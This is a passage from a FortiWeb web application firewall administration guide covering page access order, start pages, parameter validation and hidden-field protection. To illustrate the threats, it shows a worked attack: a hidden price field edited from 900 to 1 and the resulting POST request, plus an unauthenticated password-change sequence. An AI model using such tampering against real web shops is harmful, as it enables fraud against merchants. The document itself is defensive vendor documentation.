6. To use this HTTP Header Security policy in a protection profile, go to **Policy > Web Protection Profile** and configure an inline protection profile with the HTTP Header Security policy. For details, see "[HTTP Header Security](#)" on page 265.

Enforcing page order that follows application logic

Page order rules (called "page access rules" in the web UI) define URLs that must be accessed in a **specific order** to enforce correct business logic or application logic of a web application, and prevent cross-site request forgery (CSRF) attacks.

For example, a password change should always occur in this order:



1. A client begins an HTTP session by requesting the login page.

```
GET /login.asp
```

When the web server responds, FortiWeb adds its HTTP session cookie to the response to initiate a unique HTTP session for that client. All subsequent requests from the client will include this cookie until the client ends the session or the cookie expires. The cookie identifies the client, and coupled with the request URL, allows FortiWeb to track the client's current session state, and enforce session-related features.

2. The client submits his or her authentication credentials.

```
POST /checkLogin.asp?account=user1&password=myPassw0rd!
```

Depending on the web application, the client's login status could be cached server-side, or could be added to a cookie in the response, to be cached client-side.

3. If the login is successful, the web application displays the client's account profile, which includes a password change form.

```
GET /profile.asp
```

4. The client submits a password change request.

```
POST /setPassword.asp?account=user1&password=myPassw0rd!
```

5. If the password change is successful, the account profile web page notifies the client.

```
GET /profile.asp?status=success
```

Authentication is required in order to prove the client's identity. Unless HTTP session initiation is required **and** initial authentication is bound to that session, an attacker could change (or possibly simply read) the password of any user's account simply by making a request like [Step 4](#) on page 545 with the password query in its URL and/or repeating a stolen session cookie. Therefore password access should **never** be allowed in page requests ordered like this:

1. An attacker posts a password change for another person's account.

```
POST /setPassword.asp?account=user1&password=myPassw0rd!
```

2. The account profile page notifies the attacker of the successful change.

```
GET /profile.asp?status=success
```

where the password change page (`/setPassword.asp`) is requested **before** the client has initiated an authenticated session.

In another example, an e-commerce application might be designed to work properly in this order:

1. A client begins an HTTP session by adding an item to a shopping cart.

```
/addToCart.do
```

2. The client either views and adds additional items to the shopping cart at multiple other URLs, or proceeds directly to the checkout.

3. The client confirms the items to purchase.

```
/checkout.do
```

4. The client provides shipping information.

```
/shipment.do
```

5. The client pays for the items and shipment, completing the transaction.

```
/payment.do
```

Sessions that begin at the shipping or payment stage should therefore be invalid. If the web application does not enforce this rule itself, it could be open to CSRF attacks on the payment feature. To prevent such abuse, FortiWeb could enforce the rule itself using a page access rule set with the following order in an HTTP session:

1. `/addToCart.do?item=*`
2. `/checkout.do?login=*`
3. `/shipment.do`
4. `/payment.do`

Attempts to request `/payment.do` before those other URLs (including the first URL, which initiates the HTTP session) during a session would be denied, and generate an alert email and/or attack log message. For details, see ["Logging"](#) on page 690 and ["Alert email"](#) on page 712.

Requests for other, non-ordered URLs are allowed to interleave ordered URLs during the client's session. (Due to web browsers' back buttons, flexible and complex features, and customers browsing your e-commerce inventory before completing a transaction, this is common.) Page access rules may be specific to a web host. This ensures that if web applications have URLs with the same name, you do not necessarily have to apply the same page order rules.

You can use SNMP traps to notify you when a page order rule has been enforced. For details, see ["SNMP traps & queries"](#) on page 715.

To configure a page order rule

1. Before you configure a page order rule, if you want to apply it only to HTTP requests for a specific real or virtual host, you must first define the web host in a protected host names group. For details, see ["Defining your protected/allowed HTTP "Host:" header names"](#) on page 388.

2. Go to **Web Protection > Access > Page Access**.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Web Protection Configuration** category. For details, see ["Permissions"](#) on page 85.

3. Click **Create New**.

4. Configure these settings:

Name	Type a unique name that can be referenced in other parts of the configuration. Do not use spaces or special characters. The maximum length is 63 characters.
Severity	When rule violations are recorded in the attack log, each log message contains a Severity Level (<code>severity_level</code>) field. Select which severity level the FortiWeb appliance will use when it logs a violation of the rule: • Low • Medium • High The default value is High.

Trigger Policy

Select which trigger, if any, that the FortiWeb appliance will use when it logs and/or sends an alert email about a violation of the rule. For details, see ["Viewing log messages"](#) on page 706.

5. Click **OK**.
6. Click **Create New** to add an entry to the set.
7. Configure these settings:

ID	Type the index number of the individual rule within the page access rule, or keep the field's default value of <code>auto</code> to let the FortiWeb appliance automatically assign the next available index number. Page access rules should be added to the set in the order which clients will be permitted to access them. For example, if a client must access <code>/login.asp</code> before <code>/account.asp</code>, add the rule for <code>/login.asp</code> first.
Host	Select the name of a protected host that the <code>Host :</code> field of an HTTP request must be in to match the page access rule. This option is available only if Host Status (page 547) is enabled.
Host Status	Enable if you want the page access rule to apply only to HTTP requests for a specific web host. Also configure Host (page 547).
Type	Indicate whether URL Pattern (page 547) is a Simple String (that is, a literal URL) or a Regular Expression.
URL Pattern	Depending on your selection in Type (page 547), enter either: - the literal URL, such as <code>/cart.php</code>, that the HTTP request must contain in order to match the page access rule. The URL must begin with a slash (<code>/</code>). - a regular expression, such as <code>^/*\.php</code>, matching all and only the URLs to which the page access rule should apply. The pattern does not require a slash (<code>/</code>); however, it must at match URLs that begin with a slash, such as <code>/cart.cfm</code>. Do not include the domain name, such as <code>www.example.com</code>, which is configured separately in the Host drop-down list. To create and test a regular expression, click the >> (test) icon. This opens the Regular Expression Validator window where you can fine-tune the expression. For details, see "Regular expression syntax" on page 829.

8. Click **OK**.
9. Repeat the previous steps for each individual rule that you want to add to page access.
10. To apply an access rule:

- Select it in an inline protection profile. For details, see ["Configuring a protection profile for inline topologies"](#) on page 261.
- Enable **Session Management** (page 262).

Attack log messages contain `Page Access Rule Violation` when this feature detects a request for a URL that violates the required sequence of URLs within a session.



Because the new active appliance does not know previous session history, after an HA failover, for existing sessions, FortiWeb will **not** be able to apply this feature. It will apply to new sessions as they are formed. For details, see ["Sessions & FortiWeb HA"](#) on page 74.


See also

- ["Configuring a protection profile for inline topologies"](#) on page 261
- ["IPv6 support"](#) on page 60

Specifying URLs allowed to initiate sessions

To prevent attackers from exploiting web applications that are vulnerable to state-based attacks, you may need to define legitimate entry points into your web applications.

When you select a start page group in the inline protection profile, clients **must** begin from a valid start page in order to initiate a valid HTTP session. If they violate this rule, they will wither be logged, blocked, or redirected to one of the valid entry pages (in the web UI, this is called the "default" page).





All web pages in a start page rule **must** belong to the same website. Start page rules cannot redirect each violation to a different location, depending on which of the rules was violated. If you choose to redirect violations, all violations will be redirected to the same “default” URL.

For example, you may insist that HTTP clients of an e-commerce website begin their session from either the main page, an item view, or login. Clients are not allowed to begin a valid session from the third stage of the shopping cart checkout. If someone initiates a session from partway through the shopping cart checkout, it is likely to be an attack. But just in case it was due to a legitimate client clearing the browser’s cookies or clicking a link or bookmark, FortiWeb could redirect the request to one of the valid start pages.

To configure start page rules

1. Before you configure a start page rule, if you want to apply it only to HTTP requests for a specific real or virtual host, you must first define the web host in a protected host names group. For details, see ["Defining your protected/allowed HTTP “Host:” header names"](#) on page 388.

2. Go to **Web Protection > Access > Start Pages**.

To access this part of the web UI, your administrator’s account access profile must have **Read** and **Write** permission to items in the **Web Protection Configuration** category. For details, see ["Permissions"](#) on page 85.

3. Click **Create New**.

4. Configure these settings:

Name	Type a unique name that can be referenced in other parts of the configuration. Do not use spaces or special characters. The maximum length is 63 characters.
Action	Select which action the FortiWeb appliance will take when it detects a violation of the rule: • Alert—Accept the connection and generate an alert email and/or log message. • Alert & Deny—Block the request (or reset the connection) and generate an alert and/or log message. You can customize the web page that FortiWeb returns to the client with the HTTP status code. See "Customizing error and authentication pages (replacement messages)" on page 664. • Period Block—Block subsequent requests from the client for a number of seconds. Also configure Block Period (page 550). You can customize the web page that FortiWeb returns to the client with the HTTP status code. For details, see "Customizing error and authentication pages (replacement messages)" on page 664. Note: If FortiWeb is deployed behind a NAT load balancer, when using this option, you must also define an X-header that indicates the original client’s IP. Failure to do so may cause FortiWeb to block

all connections when it detects a violation of this type. For details, see ["Defining your proxies, clients, & X-headers"](#) on page 421.

- **Redirect**—Redirect the request to the URL that you specify in the protection profile or [URL Pattern](#) (page 551) and generate an alert and/or log message. Also configure either [URL Pattern](#) (page 551), or [Redirect URL](#) (page 269) and [Redirect URL With Reason](#) (page 269).
- **Send 403 Forbidden**—Reply with an HTTP 403 `Access Forbidden` error message and generate an alert and/or log message.

The default value is **Alert**.

Note: This setting will be ignored if [Monitor Mode](#) (page 288) is enabled.

Note: Logging and/or alert email will occur only if enabled and configured. For details, see ["Logging"](#) on page 690 and ["Alert email"](#) on page 712.

Note: If you will use this rule set with auto-learning, you should select **Alert**. If [Action](#) (page 549) is **Alert & Deny**, or any other option that causes the FortiWeb appliance to terminate or modify the request or reply when it detects an attack attempt, the interruption will cause incomplete session information for auto-learning.

Block Period

Type the number of seconds that you want to block subsequent requests from the client after the FortiWeb appliance detects that the client has violated the rule.

This setting is available only if [Action](#) (page 549) is set to **Period Block**. The valid range is from 1 to 3,600 (1 hour). The default value is 1. See also ["Monitoring currently blocked IPs"](#) on page 735.

Severity

When rule violations are recorded in the attack log, each log message contains a **Severity Level** (`severity_level`) field. Select which severity level the FortiWeb appliance will use when it logs a violation of the rule:

- Low
- Medium
- High

The default value is **Low**.

Trigger Policy

Select which trigger, if any, that the FortiWeb appliance will use when it logs and/or sends an alert email about a violation of the rule. For details, see ["Viewing log messages"](#) on page 706.

5. Click **OK**.
6. Click **Create New** to add an entry to the set.
7. Configure these settings:

Host	Select which protected host names entry (either a web host name or IP address) that the <code>Host</code> : field of the HTTP request must be in to match a valid start page. This option is available only if Host Status (page 551) is enabled.
Host Status	Enable to require that the <code>Host</code> : field of the HTTP request match a protected host names entry in order to match a valid start page. Also configure Host (page 551).
Type	Select whether URL Pattern (page 551) is a Simple String (that is, a literal URL such as <code>/index.html</code>) or a Regular Expression. Note: If Default (page 551) is Yes, you must select Simple String and provide the exact redirect/session initiation URL in URL Pattern (page 551). A regular expression does not specify a single definite destination, and therefore is not a valid configuration in that case.
URL Pattern	Depending on your selection in Type, type either: • The literal URL, such as <code>/index.php</code>, that the HTTP request must contain in order to match the start page rule. The URL must begin with a slash (<code>/</code>). If Default (page 551) is Yes, the literal URL also indicates the redirect URL and/or session initiation URL. • A regular expression, such as <code>^/*\.php</code>, matching all and only the URLs to which the start page rule should apply. The pattern does not require a slash (<code>/</code>). However, it must at match URLs that begin with a slash, such as <code>/index.cfm</code>. Do not include the domain name, such as <code>www.example.com</code>, which is configured separately in the Host (page 551) drop-down list. To create and test a regular expression, click the >> (test) icon. This opens the Regular Expression Validator window where you can fine-tune the expression. For details, see "Regular expression syntax" on page 829.
Default	If Action (page 549) is Redirect, for requests that either: • Do not specify any URL (such as requesting <code>http://www.example.com/</code> instead of <code>http://www.example.com/index.php</code>), and therefore neither explicitly match nor violate the rule • Violate the start page rule (applies only if you have selected Redirect for Action (page 549)) select Yes if you want FortiWeb to redirect the client to this page, indicated in URL Pattern (page 551) (e.g., This URL will be treated as the website's default/home page). Otherwise, select No and

configure the redirect URL separately from this rule in the protection profile's **Redirect URL** (page 269).

To prevent the redirect from having more than one possible destination, only one URL in the start page rule can be configured as the "default" at a given time.

8. Click **OK**.

9. Repeat the previous steps for each start page that you want to add to the group of start pages.

10. To apply a start page rule:

- Select it in an inline protection profile. For details, see "[Configuring a protection profile for inline topologies](#)" on page 261.
- Enable **Session Management** (page 262).

Attack log messages contain `Start Page Violation` when this feature detects a start page violation. Additionally, if the start page rule was configured to redirect the attacker, parameters will be appended to the redirect URL to indicate the reason. e.g.:

```
http://example.com/index.html?redirect491=1&reason747sha=Start%20Page%20Violation
```



Because the new active appliance does not know previous session history, after an HA failover, for existing sessions, FortiWeb will **not** be able to apply this feature. It will apply to new sessions as they are formed. For details, see "[Sessions & FortiWeb HA](#)" on page 74.

See also

- "[Configuring a protection profile for inline topologies](#)" on page 261
- "[IPv6 support](#)" on page 60

Preventing zero-day attacks

While your first line of defense is to scan for known attacks, zero-day attacks are, by definition, unknown.

To defend against zero-day buffer overflow, buffer underflow, shell code, and similar injection attacks that you have not yet identified and created a signature for, input validation can help. You can configure FortiWeb to sanitize inputs at the web application level. For attacks that operate at the HTTP protocol level, or attacks that are **not** types of application or document injection attacks, see ["HTTP/HTTPS protocol constraints"](#) on page 568 and ["Access control"](#) on page 475.

See also

- ["Sequence of scans"](#) on page 56
- ["Defining custom data types"](#) on page 559
- ["Validating parameters \("input rules"\)"](#) on page 553
- ["Preventing tampering with hidden inputs"](#) on page 560

Validating parameters ("input rules")

You can configure rules to validate parameters (input) of your web applications.

Input rules define whether or not parameters are required, and their maximum allowed length, for requests that match:

- `Host`: field in the HTTP header
- URL

as defined in the input rule. Inputs are typically the `<input>` tags in an HTML form.

For example, one web page might have an HTML form with multiple inputs, including:

- A user name
- A password
- A preference for whether or not to remember the login

Within the input rule for that web page, you can define separate rules for each parameter in the request: one rule for the user name parameter, one rule for the password parameter, and one rule for the preference parameter. You can use the password rule to enforce password complexity by requiring it to match a **Level 2 Password** data type.

Unlike hidden field rules, input rules are for visible inputs only, such as buttons and text areas. For information on constraining **hidden** inputs, see ["Preventing tampering with hidden inputs"](#) on page 560.

Each input rule contains one or more individual rules. Collectively, individual rules define all parameter restrictions that apply to requests matching the specified URL and host name combination.

If an HTTP/HTTPS request contains repeated parameters, FortiWeb enforces the input rules for all instances of the parameter—not just the first time it occurs in the request.



FortiWeb cannot enforce the rule if the parameter is bigger than the memory size you have configured for FortiWeb's scan buffers. To configure the buffer size, see `http-cachesize` in the *FortiWeb CLI Reference*:

<http://docs.fortinet.com/fortiweb/reference>

If your web applications do not require requests larger than the buffer, enable **Malformed Request** (page 574) to harden your configuration.

To configure an input rule

1. Before you configure an input rule, if you want to apply it only to HTTP requests for a specific real or virtual host, you must first define the web host in a protected host names group (see "Defining your protected/allowed HTTP "Host:" header names" on page 388). If you want to define your own data types, you should also configure those first (see "Defining custom data types" on page 559).

2. Go to **Web Protection > Input Validation > Parameter Validation** and select the **Parameter Validation Rule** tab.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Web Protection Configuration** category. For details, see "Permissions" on page 85.

3. Click **Create New**.

4. Configure these settings:

Name	Type a unique name that can be referenced in other parts of the configuration. Do not use spaces or special characters. The maximum length is 63 characters.
Host Status	Enable to apply this input rule only to HTTP requests for specific web hosts. Also configure Host (page 554). Disable to match the input rule based upon the other criteria, such as the URL, but regardless of the <code>Host :</code> field.
Host	Select which protected host names entry (either a web host name or IP address) that the <code>Host :</code> field of the HTTP request must be in to match the signature exception. This option is available only if Host Status (page 554) is enabled.
Request URL Type	Select whether the Request URL (page 554) field must contain a literal URL (Simple String), or a regular expression designed to match multiple URLs (Regular Expression).
Request URL	Depending on your selection in Request URL Type (page 554), type either: • The literal URL, such as <code>/index.php</code>, that the HTTP request must contain in order to match the input rule. The URL must begin with a backslash (/).

- A regular expression, such as `^/*\.php`, matching all and only the URLs to which the input rule should apply. The pattern does not require a slash (`/`); however, it must at least match URLs that begin with a slash, such as `/index.cfm`.

Do not include the domain name, such as `www.example.com`, which is configured separately in the **Host** (page 554) drop-down list.

To create and test a regular expression, click the **>>** (test) icon. This opens the **Regular Expression Validator** window where you can fine-tune the expression. For details, see ["Regular expression syntax"](#) on page 829 and ["Cookbook regular expressions"](#) on page 836.

Action

Select which action the FortiWeb appliance will take when it detects a violation of the rule:

- **Alert**—Accept the connection and generate an alert email and/or log message.
- **Alert & Deny**—Block the request (or reset the connection) and generate an alert and/or log message.

You can customize the web page that FortiWeb returns to the client with the HTTP status code. For details, see ["Customizing error and authentication pages \(replacement messages\)"](#) on page 664.

- **Period Block**—Block subsequent requests from the client for a number of seconds. Also configure **Block Period** (page 556).

You can customize the web page that FortiWeb returns to the client with the HTTP status code. For details, see ["Customizing error and authentication pages \(replacement messages\)"](#) on page 664.

Note: If FortiWeb is deployed behind a NAT load balancer, when using this option, you **must** also define an X-header that indicates the original client's IP. Failure to do so may cause FortiWeb to block **all** connections when it detects a violation of this type. For details, see ["Defining your proxies, clients, & X-headers"](#) on page 421.

- **Redirect**—Redirect the request to the URL that you specify in the protection profile and generate an alert and/or log message. Also configure **Redirect URL** (page 269) and **Redirect URL With Reason** (page 269).
- **Send 403 Forbidden**—Reply with an HTTP 403 `Access Forbidden` error message and generate an alert and/or log message.

The default value is **Alert**. See also ["Reducing false positives"](#) on page 751.

Caution: This setting will be ignored if **Monitor Mode** (page 288) is enabled.

Note: Logging and/or alert email will occur only if enabled and configured. For details, see ["Logging"](#) on page 690 and ["Alert email"](#)

on page 712.

Note: If you will use this rule set with auto-learning, you should select **Alert**. If **Action** (page 555) is **Alert & Deny**, or any other option that causes the FortiWeb appliance to terminate or modify the request or reply when it detects an attack attempt, the interruption will cause incomplete session information for auto-learning.

Block Period

Type the number of seconds that you want to block subsequent requests from the client after the FortiWeb appliance detects that the client has violated the rule.

This setting is available only if **Action** (page 555) is set to **Period Block**. The valid range is from 1 to 3,600 (1 hour). The default value is 1. See also "[Monitoring currently blocked IPs](#)" on page 735.

Severity

When rule violations are recorded in the attack log, each log message contains a **Severity Level** (`severity_level`) field. Select which severity level the FortiWeb appliance will use when it logs a violation of the rule:

- Low
- Medium
- High

The default value is **High**.

Trigger Policy

Select which trigger, if any, that the FortiWeb appliance will use when it logs and/or sends an alert email about a violation of the rule. For details, see "[Viewing log messages](#)" on page 706.

5. Click **OK**.

6. Click **Create New** to add an entry to the set.

Note: You can add up to 1,024.

7. Configure these settings:

Name Type

Select one of the following options:

- **Simple String**—**Name** (page 556) contains the name attribute of the parameter's input tag exactly as it appears in the form on the web page.
- **Regular Expression**—**Name** (page 556) contains a regular expression designed to match the name attribute of the parameter's input tag.

Name

Enter one of the following:

- The value of the **Name** attribute of the parameter's input tag exactly as it appears in the form on the web page if **Name Type** (page 556) is **Simple String**.

For example, for an input tag that is defined by the following HTML code, enter `pwd`:

	<pre><input type="password" name="pwd" /></pre> A regular expression that matches the name attribute of the parameter's input tag if Name Type (page 556) is Regular Expression. Note: FortiWeb does not support regular expressions that begin with an exclamation point (!). For information on language and regular expression matching, see "Regular expression syntax" on page 829.
Max Length	Type the maximum length of the string that is the input's value. For example, if the input's value is always a short string like <code>candy</code>, the maximum length could be 5. If the value is a number less than 100 such as 42, the maximum length should be 2 (since the number "42" is 2 characters long). To disable the length limit, type 0. See also Malformed Request (page 574).
Required	Enable if the parameter is required for HTTP/HTTPS requests to this combination of <code>Host :</code> field and URL.
Use Type Check	Enable to validate the data type of the parameter. Also configure Argument Type (page 557).
Argument Type	Select one of: Data Type—Select one of the predefined data types from Data Type (page 557). Regular Expression—Define the data type using a regular expression in Regular Expression (page 557). Custom Data Type—Select one of the custom data types from Custom Data Type (page 558). This option is only applicable when Use Type Check (page 557) is enabled.
Data Type	Select a predefined data type. See "Predefined data types" on page 216. This option is only available when Argument Type (page 557) is Data Type.
Regular Expression	Type a regular expression that matches all valid values, and no invalid values, for this input. This option is only available when Argument Type (page 557) is Regular Expression. To create and test a regular expression, click the >> (test) icon. This opens the Regular Expression Validator window where you can fine-tune the expression. For details, see "Regular expression syntax" on page 829.

Custom Data Type

Select a custom data type. For details, see ["Defining custom data types"](#) on page 559.

This option is only available when **Argument Type** (page 557) is **Custom Data Type**.

8. Click **OK**.
9. Repeat the previous steps for each individual validation rule that you want to add to the group of validation rules.
10. Go to **Web Protection > Input Validation > Parameter Validation** and select the **Parameter Validation Policy** tab.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Web Protection Configuration** category. For details, see ["Permissions"](#) on page 85.
11. Click **Create New**.
12. In **Name**, type a unique name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 63 characters.
13. Click **OK**.
14. Click **Create New** to add an entry to the set.
15. From the rule drop-down list, select the name of an existing input validation rule.

To view or change the information associated with the rule, select the  icon. The **Edit Parameter Validation Rule** dialog appears. Use the browser **Back** button to return.
16. Click **OK**.
17. Repeat the previous steps for each input rule that you want to add to the parameter validation rule.
18. To apply the parameter validation policy, select it in an inline or Offline Protection profile. For details, see ["Configuring a protection profile for inline topologies"](#) on page 261 or ["Configuring a protection profile for an out-of-band topology or asynchronous mode of operation"](#) on page 270.

Attack log messages contain `Parameter Validation Violation` when this feature detects a parameter rule violation.



If you do not want sensitive inputs such as passwords to appear in the attack logs' packet payloads, you can obscure them. For details, see ["Obscuring sensitive data in the logs"](#) on page 699.

See also

- ["Preventing tampering with hidden inputs"](#) on page 560
- ["Bulk changes to input validation rules"](#) on page 559
- ["Defining custom data types"](#) on page 559
- ["Configuring a protection profile for inline topologies"](#) on page 261
- ["Configuring a protection profile for an out-of-band topology or asynchronous mode of operation"](#) on page 270

- ["Connecting to FortiGuard services"](#) on page 187
- ["How often does Fortinet provide FortiGuard updates for FortiWeb?"](#) on page 193
- ["IPv6 support"](#) on page 60

Bulk changes to input validation rules

If you need to make the same change to multiple parameter validation rules, you can apply some changes as a batch instead of individually.

To apply a batch of changes

1. Go to **Web Protection > Input Validation > Parameter Validation Rule**.
2. Mark the check boxes of all rules that will receive the same change. Additional buttons will become available on the tool bar, such as **Edit Action**, **Edit Trigger Policy**, or **Edit Severity**.
3. Click one of those buttons, then from the drop-down menu that appears, select the new value for setting.

Defining custom data types

In addition to using the predefined regular expressions that FortiWeb has to detect data types, you can also configure your own custom data types. Unlike predefined data types, custom data types **cannot** be used by auto-learning profiles.



To create a custom data type by modifying a predefined data type, copy the text in the **Pattern** column of the predefined data type, then paste it into a custom data type. For details, see ["Predefined data types"](#) on page 216.

To create a custom data type

1. Go to **Auto Learn > Custom Pattern > Data Type**.
To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Server Policy Configuration** category. For details, see ["Permissions"](#) on page 85.
2. Click **Create New**.
3. In **Name**, type a unique name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 63 characters.
4. In **Expression**, enter a regular expression that defines this data type.
5. To test the regular expression against sample text, click the **>>** (test) icon. This opens the **Regular Expression Validator** window where you can fine-tune the expression. For details, see ["Regular expression syntax"](#) on page 829.
6. Click **OK**.
7. To use a custom data type, select it when configuring an input rule. For details, see ["Validating parameters \("input rules"\)"](#) on page 553.

Preventing tampering with hidden inputs

Unlike visible inputs, hidden field rules are for hidden parameters only, from `<input type="hidden">` HTML tags. For information on constraining **visible** inputs, see [Validating parameters \("input rules"\)](#) (page 553).

Hidden form inputs are often written into an HTML page by the web server when it serves that page to the client, and are not visible on the rendered web page. Because HTTP is essentially stateless, like cookies, hidden form inputs are one way that web applications can use to remember session data from one page request to the next (called "persistence").

For example, to remember the price of a TV accessed from a secret sale URL previously requested that session, this form remembers the sale price, and will provide it again to the shopping cart application when the client submits the payment page:

```
<form method="POST" action="processPayment.do">
<input type="hidden" name="price" value="900">
$900 x Quantity: <input name="quantity" size=4><br/>
</br>
<input type="submit" value="Buy">
</form>
```

Since they are not rendered visible, hidden inputs are sometimes erroneously perceived as safe. But similar to session cookies, hidden form inputs store the software's state information client-side, instead of server-side. This makes it vulnerable.

Hidden fields are accessible through the JavaScript document object model (DOM). Additionally, forms often use the HTTP `POST` method and send input to a URL (such as `/checkPayment.do`) that legitimate clients never see, since the server replies with an HTTP `302` status code and the next URL in the `Location:` header, which the client then fetches using the `GET` method and displays. Unless there is code to prevent it, however, attackers often can easily send altered hidden inputs to this `POST` URL simply by altering a local copy of the page, using a browser plug-in tool such as Tamper Data, or in some cases simply typing different URL parameters into the browser's location bar.

Like any other input from clients, it can be tampered with and should not be trusted. Tampered hidden inputs can be used as a vector for state-based attacks.

To follow the above example, an attacker could alter the sale price so that he or she can buy the item much more cheaply:

```
<form method="POST" action="processPayment.do">
<input type="hidden" name="price" value="1">
$900 x Quantity: <input name="quantity" size=4><br/>
</br>
<input type="submit" value="Buy">
</form>
```

When this form is submitted, the attacker orders TVs at a price reduced from \$900 to \$1. The request looks like this:

```
POST /processPayment.do HTTP/1.1
Host: www.example.com
Referer: http://www.example.com/checkout.do
Cookie: JSESSIONID=12345667890
Content-Type: application/x-www-form-urlencoded
POSTDATA quantity=9999&price=1
```

Unless the web application is smart enough to test for unauthorized prices, `/processPayment.do` accepts the request, processes the order, and returns a normal reply like this:

```
HTTP/1.1 302 Moved
Set-Cookie: JSESSIONID=12345667890;HttpOnly
Location: http://www.example.com/thankYou.do
Content-Length: 0
Connection: close
Content-Type: text/plain; charset=UTF-8
```

The client then loads the final “thank you” shopping cart page indicated in the reply’s `Location:` header.

Hidden field rules prevent tampering by caching the values of a session’s hidden inputs as they pass from the server to the client, and verifying that they remain unchanged when the client submits the form to its `POST` URL.

To configure a hidden field rule

1. Before you configure a hidden field rule, if you want to apply it only to HTTP/HTTPS requests for a specific real or virtual host, you must first define the web host in a protected host names group. For details, see ["Defining your protected/allowed HTTP "Host:" header names"](#) on page 388.

2. Go to **Web Protection > Input Validation > Hidden Fields** and select the **Hidden Fields Rule** tab.

To access this part of the web UI, your administrator’s account access profile must have **Read** and **Write** permission to items in the **Web Protection Configuration** category. For details, see ["Permissions"](#) on page 85.

3. Click **Create New**.

4. Configure these settings:

Name	Type a unique name that can be referenced in other parts of the configuration. Do not use spaces or special characters. The maximum length is 63 characters.
Host Status	Enable if you want the hidden field rule to apply only to HTTP/HTTPS requests for a specific web host. Also configure Host (page 561).
Host	Select the name of a protected host that the <code>Host:</code> field of an HTTP request must be in to match the hidden field rule. This option is available only if Host Status (page 561) is enabled.
Request URL	Type the exact URL that contains the hidden input for which you want to create a hidden field rule. This is usually a form that is visible to the person’s web browser, not the CGI script or page that processes submitted forms. The URL must begin with a slash (/). Do not include the web host name, such as <code>www.example.com</code> . It is configured separately in the Host (page 561) drop-down list.
Action	Select which action the FortiWeb appliance will take when it detects a violation of the rule:

- **Alert**—Accept the connection and generate an alert email and/or log message.
- **Alert & Deny**—Block the request (reset the connection) and generate an alert and/or log message.

You can customize the web page that FortiWeb returns to the client with the HTTP status code. For details, see "[Customizing error and authentication pages \(replacement messages\)](#)" on page 664.

- **Period Block**—Block subsequent requests from the client for a number of seconds. Also configure **Block Period** (page 562).

You can customize the web page that FortiWeb returns to the client with the HTTP status code. For details, see "[Customizing error and authentication pages \(replacement messages\)](#)" on page 664.

Note: If FortiWeb is deployed behind a NAT load balancer, when using this option, you **must** also define an X-header that indicates the original client's IP. Failure to do so may cause FortiWeb to block **all** connections when it detects a violation of this type. For details, see "[Defining your proxies, clients, & X-headers](#)" on page 421.

- **Redirect**—Redirect the request to the URL that you specify in the protection profile and generate an alert and/or log message. Also configure **Redirect URL** (page 269) and **Redirect URL With Reason** (page 269).
- **Send 403 Forbidden**—Reply with an HTTP 403 `Access Forbidden` error message and generate an alert and/or log message.

The default value is **Alert**.

Note: This setting will be ignored if **Monitor Mode** (page 288) is enabled.

Note: Logging and/or alert email will occur only if enabled and configured. For details, see "[Logging](#)" on page 690 and "[Alert email](#)" on page 712.

Note: Because the new active appliance does not know previous session history, after an HA failover, for existing sessions, FortiWeb will **not** be able to apply this feature. For details, see "[Sessions & FortiWeb HA](#)" on page 74.

Note: If you will use this rule set with auto-learning, you should select **Alert**. If **Action** (page 561) is **Alert & Deny**, or any other option that causes the FortiWeb appliance to terminate or modify the request or reply when it detects an attack attempt, the interruption will cause incomplete session information for auto-learning.

Block Period

Type the number of seconds that you want to block subsequent requests from the client after the FortiWeb appliance detects that the client has violated the rule.

Severity

This setting is available only if **Action** (page 561) is set to **Period Block**. The valid range is from 1 to 3,600 (1 hour). The default value is 1. See also "[Monitoring currently blocked IPs](#)" on page 735.

When rule violations are recorded in the attack log, each log message contains a **Severity Level** (`severity_level`) field. Select which severity level the FortiWeb appliance will use when it logs a violation of the rule:

- Low
- Medium
- High

The default value is **High**.

Trigger Policy

Select which trigger, if any, that the FortiWeb appliance will use when it logs and/or sends an alert email about a violation of the rule. For details, see "[Viewing log messages](#)" on page 706.

5. Click **OK**.

6. Click **Fetch URL**.

7. In the **Pserver** drop-down list, select the IP address of a physical server.

In **Port**, type the TCP port number on which the physical server listens for HTTP/HTTPS connections. The valid range is from 0 to 65,535. Typically HTTP is port 80; HTTPS is port 443.

In **Protocol**, select whether to connect to the back-end web server using either HTTP or HTTPS.

8. Click the **OK** button on the dialog.

FortiWeb retrieves the web page you specified in **Request URL** (page 561) on the **Hidden Fields Rule** dialog, and analyzes it. A new dialog appears displaying a list of hidden inputs that FortiWeb found, and URLs where those hidden inputs will be posted when a client submits the form.

Entries in the list are color-coded by the recommended course of action:

- **Blue**—The URL/hidden field exists in the requested URL, but you have **not** yet configured it in the hidden field rule. Add it to the hidden field rule.
- **Red**—The URL/hidden field does **not** exist in the requested URL, yet it is currently configured in the hidden field rule. Remove it from the hidden field rule.
- **Black**—The URL/hidden field exists in both the requested URL and your hidden field rule.

For each entry that you want included in the hidden field rule, in the **Status** column, mark its check box.



Also mark the check boxes of any previously configured items that you want to keep in the hidden field rule. If you do not, they will be deleted.

9. Click **OK** to save the entries in the dialog.

FortiWeb adds the entries to the **Post URL Table** and **Hidden Fields Table** on the **Hidden Fields Rule** dialog. It also removes any that did not match the fetched URL.

10. To manually add entries to either table, do the following:

- Click **Create New** under the applicable table.
- A dialog appears prompting for either a new URL or hidden field.
- Enter the name of the post URL or hidden field.

Click **OK**.

11. Repeat the previous steps for each post URL or hidden field that you want to manually add to the hidden field rule.

12. On the **Hidden Fields Rule** dialog, click **OK**.

13. Go to **Web Protection > Input Validation > Hidden Fields** and select the **Hidden Fields Policy** tab.

14. Click **Create New**.

15. In **Name**, type a unique name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 63 characters.

16. Click **OK**.

17. Click **Create New** to include a rule in the set.

18. From the **Hidden Fields Rule** drop-down list, select the name of an existing hidden field rule that you want to add to the set.

19. Click **OK**.

20. Repeat the previous steps for each individual rule that you want to add to the hidden fields policy.

21. To apply a hidden field policy:

- Select it in an inline protection profile. For details, see ["Configuring a protection profile for inline topologies"](#) on page 261.
- Enable **Session Management** (page 262).

See also

- ["Connecting to FortiGuard services"](#) on page 187
- ["How often does Fortinet provide FortiGuard updates for FortiWeb?"](#) on page 193
- ["IPv6 support"](#) on page 60

Specifying allowed HTTP methods

